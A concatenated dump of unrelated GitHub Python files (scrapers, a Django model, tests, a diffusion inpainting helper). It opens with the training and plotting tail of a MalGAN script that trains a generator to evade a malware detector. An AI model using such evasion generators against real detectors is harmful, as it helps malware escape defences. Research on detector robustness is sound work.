sigmoid = True\n\n\n # initialize the discriminator and generator\n discriminator = DiscriminatorNet(sigmoid)\n generator = GeneratorNet(sigmoid)\n\n ## DIFFERENT BLACKBOX OPTIONS TO TEST\n ## COMMENT OUT THE ONES THAT ARE NOT BEING TESTED\n # blackbox = RandomForestClassifier(n_estimators=101, max_depth=10, random_state=1)\n # blackbox = LinearSVC()\n blackbox = linear_model.LogisticRegression()\n\n if torch.cuda.is_available():\n discriminator.cuda()\n generator.cuda()\n\n # Optimizers\n d_optimizer = optim.Adam(discriminator.parameters(), lr=0.0002)\n g_optimizer = optim.Adam(generator.parameters(), lr=0.0002)\n\n # arrays for plotting\n TRAIN_TPR = []\n TEST_TPR = []\n POST_TRAIN_TPR = []\n POST_TEST_TPR = []\n\n # train the gan on examples\n train(200, blackbox, generator, d_optimizer, g_optimizer, TRAIN_TPR, TEST_TPR, sigmoid, isFirst=True)\n\n # retrain the blackbox\n retrain(blackbox, generator, sigmoid)\n\n # run malgan again\n train(75, blackbox, generator, d_optimizer, g_optimizer, POST_TRAIN_TPR, POST_TEST_TPR, sigmoid, isFirst=False)\n\n # print the loss arrays\n print(d_loss_arr)\n print(g_loss_arr)\n\n print(TEST_TPR[len(TEST_TPR)-1])\n\n print(POST_TEST_TPR[len(POST_TEST_TPR)-1])\n # plot data\n plt.plot(range(len(d_loss_arr)), d_loss_arr, label=\"Discriminator loss\", color=\"blue\")\n plt.plot(range(len(g_loss_arr)), g_loss_arr, label=\"Generator Loss\", color=\"red\")\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Min Loss Value per Epoch\")\n plt.title(\"Graph of losses over time\")\n plt.legend()\n plt.show()\n\n plt.plot(range(len(TRAIN_TPR)), TRAIN_TPR, label=\"Training TPR\", color=\"blue\")\n plt.plot(range(len(TEST_TPR)), TEST_TPR, label=\"Testing TPR\", color=\"red\")\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"TPR rate\")\n plt.legend()\n plt.title(\"True Positive Rate of RF Blackbox before retraining MalGAN\")\n plt.show()\n\n plt.plot(range(len(POST_TRAIN_TPR)), POST_TRAIN_TPR, label=\"Training TPR\", color=\"blue\")\n plt.plot(range(len(POST_TEST_TPR)), POST_TEST_TPR, label=\"Testing TPR\", color=\"red\")\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"TPR rate\")\n plt.legend()\n plt.title(\"True Positive Rate of RF Blackbox after retraining MalGAN\")\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ccc2876/MalGAN","sub_path":"code/MalGAN.py","file_name":"MalGAN.py","file_ext":"py","file_size_in_byte":14115,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"48"} +{"seq_id":"17415155245","text":"import os\nfrom os.path import join, relpath\nfrom importlib import import_module\nfrom hwt.synthesizer.unit import Unit\nfrom inspect import isclass\n\n\ndef walk_modules_recursive_names(module):\n \"\"\"\n For specified module walk all python files and yield module name for them\n \"\"\"\n f = module.__file__\n rootName = module.__name__\n init = \"__init__.py\"\n if f.endswith(init):\n folder = f[:-len(init)]\n for root, _, files in os.walk(folder):\n root = relpath(root, folder)\n for file in files:\n if file.endswith(\".py\"):\n if file.endswith(init):\n if root == \".\":\n file = rootName\n else:\n assert \".\" not in root, root\n file = rootName + \".\" + root.replace(\"/\", \".\")\n else:\n file = file[:-len(\".py\")]\n assert \".\" not in file, file\n if root != \".\":\n file = join(root, file)\n file = rootName + \".\" + file.replace(\"/\", \".\")\n yield file\n\n\ndef walk_modules_recursive(module):\n for file in walk_modules_recursive_names(module):\n yield import_module(file)\n\n\ndef walk_Unit_cls_in_module(module):\n seen = set()\n for m in walk_modules_recursive(module):\n for _, o in m.__dict__.items():\n if isclass(o) and issubclass(o, Unit) and o not in seen:\n seen.add(o)\n yield o\n","repo_name":"Nic30/hwtIde","sub_path":"hwtIde/moduleWalking.py","file_name":"moduleWalking.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"6904448375","text":"# libs\nfrom cloudcix_rest.models import BaseModel\nfrom django.db import models\n# local\nfrom .snapshot import Snapshot\n\n__all__ = [\n 'SnapshotHistory',\n]\n\n\nclass SnapshotHistory(BaseModel):\n \"\"\"\n A SnapshotHistory object is created any time a Snapshot is created, updated or deleted, and it contains details\n about who modified it for billing purposes.\n\n It will be used by automated billing algorithms to calculate how much a Snapshot cost for the month.\n \"\"\"\n customer_address = models.IntegerField()\n modified_by = models.IntegerField()\n project_id = models.IntegerField()\n snapshot = models.ForeignKey(Snapshot, related_name='history', on_delete=models.CASCADE)\n state = models.IntegerField(null=True)\n vm_id = models.IntegerField()\n\n class Meta:\n \"\"\"\n Metadata about the model for Django to use in whatever way it sees fit\n \"\"\"\n db_table = 'snapshot_history'\n indexes = [\n # Indexing everything in the `search_fields` map in List Controller\n models.Index(fields=['id'], name='snapshot_history_id'),\n models.Index(fields=['created'], name='snapshot_history_created'),\n models.Index(fields=['customer_address'], name='snapshot_history_cust_address'),\n models.Index(fields=['deleted'], name='snapshot_history_deleted'),\n models.Index(fields=['modified_by'], name='snapshot_history_modified_by'),\n models.Index(fields=['project_id'], name='snapshot_history_project_id'),\n models.Index(fields=['vm_id'], name='snapshot_history_vm_id'),\n ]\n ordering = ['-created']\n","repo_name":"CloudCIX/iaas","sub_path":"models/snapshot_history.py","file_name":"snapshot_history.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5809639831","text":"from colorama import Fore, Back\nfrom models.deadline_model import DeadlineStates\nfrom models.task_model import Status\nimport datetime\nimport humanize\nfrom art import tprint\n\nfrom utils.deltaParser import convertDate\n\n\nclass Logger:\n def celebrate(text):\n tprint(text, font=\"fuzzy\")\n\n def success(text):\n print(Fore.GREEN + \"[+]\", text, Fore.RESET)\n\n def error(text):\n print(Fore.RED + \"[!]\", text, Fore.RESET)\n\n def warn(text):\n print(Fore.LIGHTYELLOW_EX + \"[~]\", text, Fore.RESET)\n\n def info(text):\n print(Fore.BLUE + \"[.]\", text, Fore.RESET)\n\n def task(task, noHighlight=False, noOrder=False):\n days = \"\"\n preColorSet = \"\"\n\n raw = \"{num:>3}| {name:<42} {days}\"\n noNumRaw = (\" \" * 5) + \"{name:<42} {days}\"\n\n if task.status == Status.BACKLOG.value:\n days = \" \"\n elif task.status == Status.IN_PROGRESS.value:\n if not noHighlight:\n preColorSet = Back.BLUE\n days = humanize.naturaldelta(datetime.datetime.now() - task.startDate)\n elif task.status == Status.DONE.value:\n preColorSet = Fore.LIGHTBLACK_EX\n days = humanize.naturaldelta(datetime.datetime.now() - task.endDate)\n elif task.status == Status.TESTING.value:\n preColorSet = Fore.MAGENTA\n days = \"?\"\n\n if noOrder:\n print(\n preColorSet\n + noNumRaw.format(num=task.order, name=task.name, days=days),\n Fore.RESET + Back.RESET,\n )\n else:\n print(\n preColorSet + raw.format(num=task.order, name=task.name, days=days),\n Fore.RESET + Back.RESET,\n )\n\n def project(project, complete, highlight=False):\n preColorSet = \"\"\n raw = \"{num:>3}| {name:<12} |{progress:<30}| {complete:.0%}\"\n\n # TODO: Validation for project name set max to 12 chars\n if not project.active:\n preColorSet = Fore.LIGHTBLACK_EX\n\n if highlight:\n preColorSet = Fore.BLUE\n\n print(\n preColorSet\n + raw.format(\n num=project.id,\n name=project.name,\n complete=complete,\n progress=\"|\" * round(30 * complete),\n ),\n Fore.RESET + Back.RESET,\n )\n\n def deadline(deadline):\n preColorSet = \"\"\n raw = \"{id:>3}) {name:<38} {date}\"\n completedRaw = \"{id:>3}) {name:<38} {text}\"\n completed = False\n completedText = \"\"\n\n if deadline.state == DeadlineStates.PENDING.value:\n pass\n\n elif deadline.state == DeadlineStates.ACTIVE.value:\n preColorSet = Fore.BLUE\n\n elif deadline.state == DeadlineStates.COMPLETE.value:\n preColorSet = Fore.BLACK\n completed = True\n completedText = \"COMPLETE\"\n\n elif deadline.state == DeadlineStates.LATE_COMPLETE.value:\n preColorSet = Fore.BLACK\n completed = True\n completedText = \"LATE\"\n\n if completed:\n print(\n preColorSet\n + completedRaw.format(\n id=deadline.id, name=deadline.name, text=completedText\n ),\n Fore.RESET + Back.RESET,\n )\n else:\n print(\n preColorSet\n + raw.format(\n id=deadline.id,\n name=deadline.name,\n date=convertDate(\n deadline.date,\n verbose=not (\n (deadline.date - datetime.datetime.now())\n > datetime.timedelta(hours=24)\n ),\n ),\n ),\n Fore.RESET,\n )\n","repo_name":"SamuelTariku/Arcaida","sub_path":"utils/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":3852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21144017104","text":"import os\nimport cv2\nimport numpy as np\nimport argparse\n\nparser = argparse.ArgumentParser('jpg to avi in python...')\nparser.add_argument('--dataset-dir', type=str, default='/media/hsuan/data/VIL100/JPEGImages', help='path to dataset')\nparser.add_argument('--output-dir', type=str, default='/media/hsuan/data/VIL100/videos', help='path to output_dataset')\nprint(\"file Function: convert .jpeg to H.264 video files\")\n\nargs = parser.parse_args()\n\nfps = 10\nsize = (1920, 1080) #需要轉為視訊的圖片的尺寸\n\ndef jpg2avi(filename):\n path = args.dataset_dir + '/' + filename + '/'\n filelist = os.listdir(path)\n filelist = sorted(os.listdir(path))\n video = cv2.VideoWriter(args.output_dir + '/' + filename +'.avi', cv2.VideoWriter_fourcc('I', '4', '2', '0'), fps, size)\n \n for item in filelist:\n if item.endswith('.jpg'):\n item = path + item\n img = cv2.imread(item)\n img=cv2.resize(img,size)\n video.write(img)\n\n video.release()\n\n\nif __name__ == '__main__':\n i = 0\n for filename in sorted(os.listdir(args.dataset_dir)):\n i +=1\n print('Done with video {} out of {}...'.format(i, len(os.listdir(args.dataset_dir))))\n jpg2avi(filename)\n \n print('finished!')\n cv2.destroyAllWindows()","repo_name":"cphsuan/dashcam","sub_path":"LaneAF/tools/jpg2avi.py","file_name":"jpg2avi.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9905487632","text":"\nfrom tkinter import *\nfrom tkinter import font\nfrom tkinter import ttk\nfrom PIL import Image, ImageTk\nfrom tkinter import messagebox\n\n\nclass Developer:\n def __init__(self, root):\n self.root = root\n self.root.geometry(\"1200x600+0+0\")\n self.root.title(\"Developer Information\")\n\n\n # --------------------------Root Title--------------------------\n title_lbl = Label(self.root, text=\"Developer Information\", font=(\n 'times new roman', 35, \"bold\"), bg=\"white\", fg=\"lightblue\")\n title_lbl.place(x=0, y=0, width=1200, height=45)\n # --------------------------Root Title--------------------------\n\n\n # ---------------------------image1---------------------------\n student_img1 = Image.open(r\"college_images\\edit1.jpg\")\n student_img1 = student_img1.resize((400, 400), Image.ANTIALIAS)\n self.photoimg1 = ImageTk.PhotoImage(student_img1)\n # showing to the window\n f_lbl = Label(self.root, image=self.photoimg1)\n f_lbl.place(x=100, y=100, width=400, height=400)\n # ---------------------------image1---------------------------\n # ---------------------------image2---------------------------\n student_img2 = Image.open(r\"college_images\\developer_bio.jpg\")\n student_img2 = student_img2.resize((400, 400), Image.ANTIALIAS)\n self.photoimg2 = ImageTk.PhotoImage(student_img2)\n # showing to the window\n f_lbl = Label(self.root, image=self.photoimg2)\n f_lbl.place(x=600, y=100, width=400, height=400)\n # ---------------------------image2---------------------------\n\n\n\n\n\n\nif __name__ == \"__main__\":\n root = Tk()\n obj = Developer(root)\n root.mainloop()\n","repo_name":"syket-das/AI-Attendence-Management-System","sub_path":"developer.py","file_name":"developer.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"16543318182","text":"import sys\nsys.path.append(\"/Users/mirali/dev/CS101\")\n\nfrom cs101_libraries_py35.cs1robots import *\nload_world(filename=\"./worlds/harvest3.wld\")\n\nhubo = Robot(beepers=10)\nhubo.set_trace(\"blue\")\n\ndef turn_right():\n for _ in range(3):\n hubo.turn_left()\n\n\ndef drop_beeper():\n if not hubo.on_beeper():\n hubo.drop_beeper()\n\n\ndef right_turn():\n turn_right()\n hubo.move()\n turn_right()\n\n\ndef left_turn():\n hubo.turn_left()\n hubo.move()\n hubo.turn_left()\n\n\ndef plant(is_right_turn=False):\n for _ in range(5):\n drop_beeper()\n hubo.move()\n if is_right_turn:\n drop_beeper()\n right_turn()\n else:\n drop_beeper()\n left_turn()\n\n\nhubo.move()\nis_right_turn = False\nfor _ in range(6):\n plant(is_right_turn)\n is_right_turn = not is_right_turn\n","repo_name":"miraliahmadli/CS101","sub_path":"lab2/plant.py","file_name":"plant.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12581018115","text":"#!/usr/bin/python3\n\"\"\"\nPython script that takes in a URL, sends a request to the URL\nand displays the value of the X-Request-Id variable found in the header of the\nresponse.\n\"\"\"\nfrom sys import argv\nfrom urllib import request\n\nif __name__ == \"__main__\":\n req = request.Request(argv[1])\n with request.urlopen(req) as response:\n # html = response.read()\n # headers = response.getheaders()\n request_id = response.getheader('X-Request-Id')\n print(request_id)\n","repo_name":"Uss-Momas/alx-higher_level_programming","sub_path":"0x11-python-network_1/1-hbtn_header.py","file_name":"1-hbtn_header.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"36953669110","text":"from setuptools import setup, find_packages\nimport sys, os\n\nversion = '0.1'\n\nsetup(name='tostadaspypo',\n version=version,\n description=\"ejemplos de conjuntos de tostadas pypo\",\n long_description=\"\"\"\\\nejemplos de conjuntos de tostadas pypo\"\"\",\n classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n keywords='package python egg conjuntos tostadas pypo',\n author='yuliana miquilareno',\n author_email='yulianamiquilareno@gmail.com',\n url='https://github.com/yulmiro/tostadaspypo',\n license='GPL 2v',\n packages=find_packages(exclude=['ez_setup', 'examples', 'tests']),\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n # -*- Extra requirements: -*-\n ],\n entry_points=\"\"\"\n # -*- Entry points: -*-\n \"\"\",\n )\n","repo_name":"yulmiro/tostadaspypo","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70675461265","text":"\"\"\"Test the different dataloader wrappers\n\"\"\"\nimport numpy as np\nfrom pytest import fixture\nfrom kipoi.data import (PreloadedDataset, Dataset, BatchDataset,\n SampleIterator, SampleGenerator,\n BatchIterator, BatchGenerator)\nfrom kipoi_utils.data_utils import get_dataset_item\n\nN = 10\n\n\n@fixture\ndef data():\n return {\n \"inputs\": {\n \"i1\": np.arange(N),\n \"i2\": np.arange(N)[::-1],\n },\n \"targets\": np.arange(N),\n \"metadata\": [\n np.arange(N),\n np.arange(N)[::-1]]\n }\n\n\ndef compare_arrays(a, b):\n assert np.allclose(a[\"inputs\"][\"i1\"], b[\"inputs\"][\"i1\"])\n assert np.allclose(a[\"inputs\"][\"i2\"], b[\"inputs\"][\"i2\"])\n assert np.allclose(a[\"targets\"], b[\"targets\"])\n assert np.allclose(a[\"metadata\"][0], b[\"metadata\"][0])\n assert np.allclose(a[\"metadata\"][1], b[\"metadata\"][1])\n\n\ndef compare_arrays_x(a, b):\n assert np.allclose(a[\"i1\"], b[\"i1\"])\n assert np.allclose(a[\"i2\"], b[\"i2\"])\n\n\ndef compare_arrays_y(a, b):\n assert np.allclose(a, b)\n\n# --------------------------------------------\n\n\ndef test_PreloadedDataset(data):\n # PreloadedDataset example:\n def data_fn():\n return data\n\n # ------------------------\n\n d = PreloadedDataset.from_fn(data_fn)()\n\n compare_arrays(d.load_all(), data)\n it = d.batch_iter(3)\n compare_arrays(next(it), get_dataset_item(data, np.arange(3)))\n\n # test batch_train_iter\n it = d.batch_train_iter(batch_size=2)\n for i in range(6):\n x, y = next(it)\n compare_arrays_x(x, get_dataset_item(data, np.arange(2))['inputs'])\n compare_arrays_y(y, get_dataset_item(data, np.arange(2))['targets'])\n\n\ndef test_Dataset(data):\n # Dataset example:\n class MyDataset(Dataset):\n\n def __init__(self, data):\n self.data = data\n\n def __len__(self):\n return self.data[\"targets\"].shape[0]\n\n def __getitem__(self, idx):\n return get_dataset_item(self.data, idx)\n\n # ------------------------\n\n d = MyDataset(data)\n\n compare_arrays(d.load_all(), data)\n it = d.batch_iter(3)\n compare_arrays(next(it), get_dataset_item(data, np.arange(3)))\n\n # test batch_train_iter\n it = d.batch_train_iter(batch_size=2)\n for i in range(6):\n x, y = next(it)\n compare_arrays_x(x, get_dataset_item(data, np.arange(2))['inputs'])\n compare_arrays_y(y, get_dataset_item(data, np.arange(2))['targets'])\n\n\ndef test_BatchDataset(data):\n # BatchDataset example:\n class MyBatchDataset(BatchDataset):\n\n def __init__(self, data, batch_size=3):\n self.data = data\n self.batch_size = batch_size\n\n def __len__(self):\n return int(np.ceil(self.data[\"targets\"].shape[0] / self.batch_size))\n\n def __getitem__(self, idx):\n start = idx * self.batch_size\n end = min((idx + 1) * self.batch_size, self.data[\"targets\"].shape[0])\n return get_dataset_item(self.data, np.arange(start, end))\n\n # ------------------------\n d = MyBatchDataset(data)\n\n compare_arrays(d.load_all(), data)\n it = d.batch_iter()\n compare_arrays(next(it), get_dataset_item(data, np.arange(3)))\n\n # batch_train_iter\n d = MyBatchDataset(data, batch_size=2)\n it = d.batch_train_iter()\n for i in range(6):\n x, y = next(it)\n compare_arrays_x(x, get_dataset_item(data, np.arange(2))['inputs'])\n compare_arrays_y(y, get_dataset_item(data, np.arange(2))['targets'])\n\n\ndef test_SampleIterator(data):\n # SampleIterator example:\n class MySampleIterator(SampleIterator):\n\n def __init__(self, data):\n self.data = data\n self.idx = 0\n\n def __iter__(self):\n self.idx = 0\n return self\n\n def __next__(self):\n if self.idx >= self.data[\"targets\"].shape[0]:\n raise StopIteration\n ret = get_dataset_item(self.data, self.idx)\n self.idx += 1\n return ret\n\n next = __next__\n\n # ------------------------\n\n d = MySampleIterator(data)\n\n compare_arrays(d.load_all(), data)\n d = MySampleIterator(data)\n it = d.batch_iter(batch_size=3)\n compare_arrays(next(it), get_dataset_item(data, np.arange(3)))\n\n # train_iter\n d = MySampleIterator(data)\n it = d.batch_train_iter(batch_size=2)\n for i in range(6):\n x, y = next(it)\n compare_arrays_x(x, get_dataset_item(data, np.arange(2))['inputs'])\n compare_arrays_y(y, get_dataset_item(data, np.arange(2))['targets'])\n\n\ndef test_BatchIterator(data):\n # BatchIterator example:\n class MyBatchIterator(BatchIterator):\n\n def __init__(self, data, batch_size):\n self.data = data\n self.batch_size = batch_size\n self.idx = 0\n\n def __iter__(self):\n self.idx = 0\n return self\n\n def __next__(self):\n idx = self.idx\n start = idx * self.batch_size\n if start >= self.data[\"targets\"].shape[0]:\n raise StopIteration\n end = min((idx + 1) * self.batch_size, self.data[\"targets\"].shape[0])\n self.idx += 1\n return get_dataset_item(self.data, np.arange(start, end))\n\n next = __next__\n\n # ------------------------\n\n d = MyBatchIterator(data, 3)\n\n compare_arrays(d.load_all(), data)\n d = MyBatchIterator(data, 3)\n it = d.batch_iter()\n compare_arrays(next(it), get_dataset_item(data, np.arange(3)))\n\n # test batch_train_iter\n d = MyBatchIterator(data, 2)\n it = d.batch_train_iter()\n for i in range(6):\n x, y = next(it)\n compare_arrays_x(x, get_dataset_item(data, np.arange(2))['inputs'])\n compare_arrays_y(y, get_dataset_item(data, np.arange(2))['targets'])\n\n\ndef test_SampleGenerator(data):\n # SampleGenerator example:\n def generator_fn(data):\n for idx in range(data[\"targets\"].shape[0]):\n yield get_dataset_item(data, idx)\n\n # ------------------------\n\n d = SampleGenerator.from_fn(generator_fn)(data)\n\n compare_arrays(d.load_all(), data)\n d = SampleGenerator.from_fn(generator_fn)(data)\n\n it = d.batch_iter(batch_size=3)\n compare_arrays(next(it), get_dataset_item(data, np.arange(3)))\n\n d = SampleGenerator.from_fn(generator_fn)(data)\n it = d.batch_train_iter(batch_size=2)\n for i in range(6):\n x, y = next(it)\n compare_arrays_x(x, get_dataset_item(data, np.arange(2))['inputs'])\n compare_arrays_y(y, get_dataset_item(data, np.arange(2))['targets'])\n\n\ndef test_BatchGenerator(data):\n # BatchGenerator example:\n def generator_fn(data, batch_size):\n for idx in range(int(np.ceil(data[\"targets\"].shape[0] / batch_size))):\n start = idx * batch_size\n end = min((idx + 1) * batch_size, data[\"targets\"].shape[0])\n yield get_dataset_item(data, np.arange(start, end))\n\n # ------------------------\n\n d = BatchGenerator.from_fn(generator_fn)(data, 3)\n\n compare_arrays(d.load_all(), data)\n d = BatchGenerator.from_fn(generator_fn)(data, 3)\n\n it = d.batch_iter()\n compare_arrays(next(it), get_dataset_item(data, np.arange(3)))\n\n d = BatchGenerator.from_fn(generator_fn)(data, 2)\n it = d.batch_train_iter()\n for i in range(6):\n x, y = next(it)\n compare_arrays_x(x, get_dataset_item(data, np.arange(2))['inputs'])\n compare_arrays_y(y, get_dataset_item(data, np.arange(2))['targets'])\n","repo_name":"kipoi/kipoi","sub_path":"tests/test_12_dataloader_classes.py","file_name":"test_12_dataloader_classes.py","file_ext":"py","file_size_in_byte":7442,"program_lang":"python","lang":"en","doc_type":"code","stars":227,"dataset":"github-code","pt":"48"} +{"seq_id":"74754254865","text":"import numpy as np\nimport torch\nfrom PIL import Image, ImageFilter, ImageOps\nfrom einops import repeat, rearrange\nfrom ainodes_frontend import singleton as gs\nfrom ai_nodes.ainodes_engine_base_nodes.ainodes_backend.torch_gc import torch_gc\nfrom ai_nodes.ainodes_engine_base_nodes.ainodes_backend.inpaint.ddim_sampler import DDIMSampler\n\n\ndef run_inpaint(init_image, mask_img, prompt, seed, scale, steps, blend_mask, mask_blur, recons_blur):\n #print(gs.models)\n torch_gc()\n sampler = DDIMSampler(gs.models[\"sd\"].model)\n image_guide = image_to_torch(init_image, \"cuda\")[0]\n mask = mask_img\n # Convert the image to grayscale\n grayscale_image = mask.convert(\"L\")\n\n # Convert the grayscale image to RGB\n mask = grayscale_image.convert(\"RGB\")\n mask = ImageOps.invert(mask)\n\n [mask_for_reconstruction, latent_mask_for_blend] = get_mask_for_latent_blending(device=\"cuda\", mask_image=mask,\n blur=mask_blur,\n recons_blur=recons_blur)\n masked_image_for_blend = (1 - mask_for_reconstruction) * image_guide[0]\n\n\n\n\n image = init_image\n h = image.size[1]\n w = image.size[0]\n\n #try:\n result = inpaint(\n sampler=sampler,\n image=image,\n mask=mask,\n prompt=prompt,\n seed=seed,\n scale=scale,\n ddim_steps=steps,\n num_samples=1,\n h=h, w=w,\n device=\"cuda\",\n mask_for_reconstruction=mask_for_reconstruction,\n masked_image_for_blend=masked_image_for_blend,\n callback=None)\n #except Exception as e:\n # print('inpainting caused an error: ', e)\n # result = -1\n # return result\n if result != -1:\n return result[0]\n\n\ndef inpaint(sampler, image, mask, prompt, seed, scale, ddim_steps, device, mask_for_reconstruction,\n masked_image_for_blend, num_samples=1, w=512, h=512, callback=None):\n prng = np.random.RandomState(seed)\n start_code = prng.randn(num_samples, 4, h // 8, w // 8)\n start_code = torch.from_numpy(start_code).to(device=device, dtype=torch.float16)\n with torch.no_grad():\n with torch.autocast(\"cuda\"):\n batch = make_batch_sd(image, mask, txt=prompt, device=device, num_samples=num_samples)\n\n c = gs.models[\"clip\"].encode(prompt)\n\n c = c.to(\"cuda\")\n\n c_cat = list()\n for ck in gs.models[\"sd\"].model.concat_keys:\n cc = batch[ck].float()\n if ck != gs.models[\"sd\"].model.masked_image_key:\n bchw = [num_samples, 4, h // 8, w // 8]\n cc = torch.nn.functional.interpolate(cc, size=bchw[-2:])\n else:\n gs.models[\"vae\"].first_stage_model.cuda()\n cc = gs.models[\"sd\"].model.get_first_stage_encoding(gs.models[\"vae\"].encode(cc))\n gs.models[\"vae\"].first_stage_model.cpu()\n cc = cc.to(\"cuda\")\n\n c_cat.append(cc)\n c_cat = torch.cat(c_cat, dim=1)\n\n # cond\n cond = {\"c_concat\": [c_cat], \"c_crossattn\": [c]}\n\n # uncond cond\n uc_cross = gs.models[\"sd\"].model.get_unconditional_conditioning(num_samples, \"\")\n\n uc_cross = uc_cross.to(\"cuda\")\n c_cat = c_cat.to(\"cuda\")\n\n uc_full = {\"c_concat\": [c_cat], \"c_crossattn\": [uc_cross]}\n\n shape = [gs.models[\"sd\"].model.channels, h // 8, w // 8]\n\n\n gs.models[\"sd\"].model.cuda()\n\n samples_cfg, intermediates = sampler.sample(\n ddim_steps,\n num_samples,\n shape,\n cond,\n verbose=False,\n eta=0.0,\n unconditional_guidance_scale=scale,\n unconditional_conditioning=uc_full,\n x_T=start_code,\n img_callback=callback,\n )\n\n #print(samples_cfg)\n gs.models[\"sd\"].model.cpu()\n #x_samples = encoded_to_torch_image(\n # gs.models[\"sd\"].model, samples_cfg) # [1, 3, 512, 512]\n\n x_samples = gs.models[\"vae\"].decode(samples_cfg.half())\n x_samples = 255. * x_samples[0].detach().numpy()\n result = [Image.fromarray(x_samples.astype(np.uint8))]\n #print(\"END\", x_samples[0].shape, mask_for_reconstruction.shape, masked_image_for_blend.shape)\n return result\n\n\ndef make_batch_sd(\n image,\n mask,\n txt,\n device,\n num_samples=1):\n image = np.array(image.convert(\"RGB\"))\n image = image[None].transpose(0, 3, 1, 2)\n image = torch.from_numpy(image).to(dtype=torch.float32) / 127.5 - 1.0\n\n mask = np.array(mask.convert(\"L\"))\n mask = mask.astype(np.float32) / 255.0\n mask = mask[None, None]\n mask[mask < 0.5] = 0\n mask[mask >= 0.5] = 1\n mask = torch.from_numpy(mask)\n\n masked_image = image * (mask < 0.5)\n\n batch = {\n \"image\": repeat(image.to(device=device), \"1 ... -> n ...\", n=num_samples),\n \"txt\": num_samples * [txt],\n \"mask\": repeat(mask.to(device=device), \"1 ... -> n ...\", n=num_samples),\n \"masked_image\": repeat(masked_image.to(device=device), \"1 ... -> n ...\", n=num_samples),\n }\n return batch\n\ndef image_to_torch(image, device):\n source_w, source_h = image.size\n w, h = map(lambda x: x - x % 64, (source_w, source_h)) # resize to integer multiple of 32\n if source_w != w or source_h != h:\n image = image.resize((w, h), resample=Image.Resampling.LANCZOS)\n image = np.array(image).astype(np.float16) / 255.0\n image = image[None].transpose(0, 3, 1, 2)\n image = torch.from_numpy(image)\n return image.half().to(device)\ndef encoded_to_torch_image(model, encoded_image):\n decoded = model.decode_first_stage(encoded_image)\n return torch.clamp((decoded + 1.0) / 2.0, min=0.0, max=1.0)\ndef get_mask_for_latent_blending(device, mask_image, blur = 0, recons_blur=0):\n #print(path)\n mask_image = mask_image.convert(\"L\")\n\n if blur > 0:\n mask_image = mask_image.filter(ImageFilter.GaussianBlur(blur))\n\n mask_for_reconstruction = mask_image.point(lambda x: 255 if x > 0 else 0)\n if recons_blur > 0:\n mask_for_reconstruction = mask_for_reconstruction.filter(\n ImageFilter.GaussianBlur(radius=recons_blur))\n mask_for_reconstruction = mask_for_reconstruction.point(\n lambda x: 255 if x > 127 else x * 2)\n\n mask_for_reconstruction = torch.from_numpy(\n (np.array(mask_for_reconstruction) / 255.0).astype(np.float16)).to(device)\n\n source_w, source_h = mask_image.size\n\n\n mask = np.array(\n mask_image.resize(\n (int(source_w / 8), int(source_h / 8)), resample=Image.Resampling.LANCZOS).convert(\"L\"))\n mask = (mask / 255.0).astype(np.float16)\n\n mask = mask[None]\n mask = 1 - mask\n\n mask = torch.from_numpy(mask)\n #mask = torch.stack([mask, mask, mask, mask], 1).to(device) # FIXME\n return [mask_for_reconstruction, mask]\ndef sampleToImage (sample):\n #sample = 255. * rearrange(sample.cpu().numpy(), 'c h w -> h w c')\n return Image.fromarray(sample.astype(np.uint8))\n","repo_name":"XmYx/ainodes_engine_base_nodes","sub_path":"ainodes_backend/inpaint/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":7237,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"32621814017","text":"from bs4 import BeautifulSoup\nimport requests\nimport os\n\n\nheaders = {'User-Agent': \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) \"\n \"AppleWebKit/537.75.14 (KHTML, like Gecko) \"\n \"Version/7.0.3 Safari/7046A194A\"}\nurl = 'https://www.reddit.com/r/wallpaper/top/?t=day'\n\ndir_path = \"/Users/innokentymikhalevsky/Library/Mobile Documents/com~apple~CloudDocs/Pics/\"\n\n\nhtml_text = requests.get(url, headers=headers).text\nsoup = BeautifulSoup(html_text, 'lxml')\n\n\nimages_tags = soup.find_all('img', class_='media-element')\nposts_names = soup.find_all('h3', class_='_eYtD2XCVieq6emjKBH3m')\n\n\nimages_names = []\nimages_ids = []\n\nfor i in range(len(images_tags)):\n if images_tags[i]['src'][23] == '/':\n images_ids.append(images_tags[i]['src'][24:41])\n if posts_names[i].text[-5:-1].isalnum():\n images_names.append(posts_names[i].text)\n\n\nfor image in range(len(images_ids)):\n image_url = \"https://i.redd.it/\" + str(images_ids[image]) # image = pic_name.png or pic_name.jpg\n print(image_url)\n\n response_img = requests.get(image_url, headers=headers)\n\n print(images_names[image]+images_ids[image][-4:])\n\n # name of img + .jpg or .png\n image = open(os.path.join(dir_path, images_names[image] + images_ids[image][-4:]), 'wb')\n image.write(response_img.content)\n 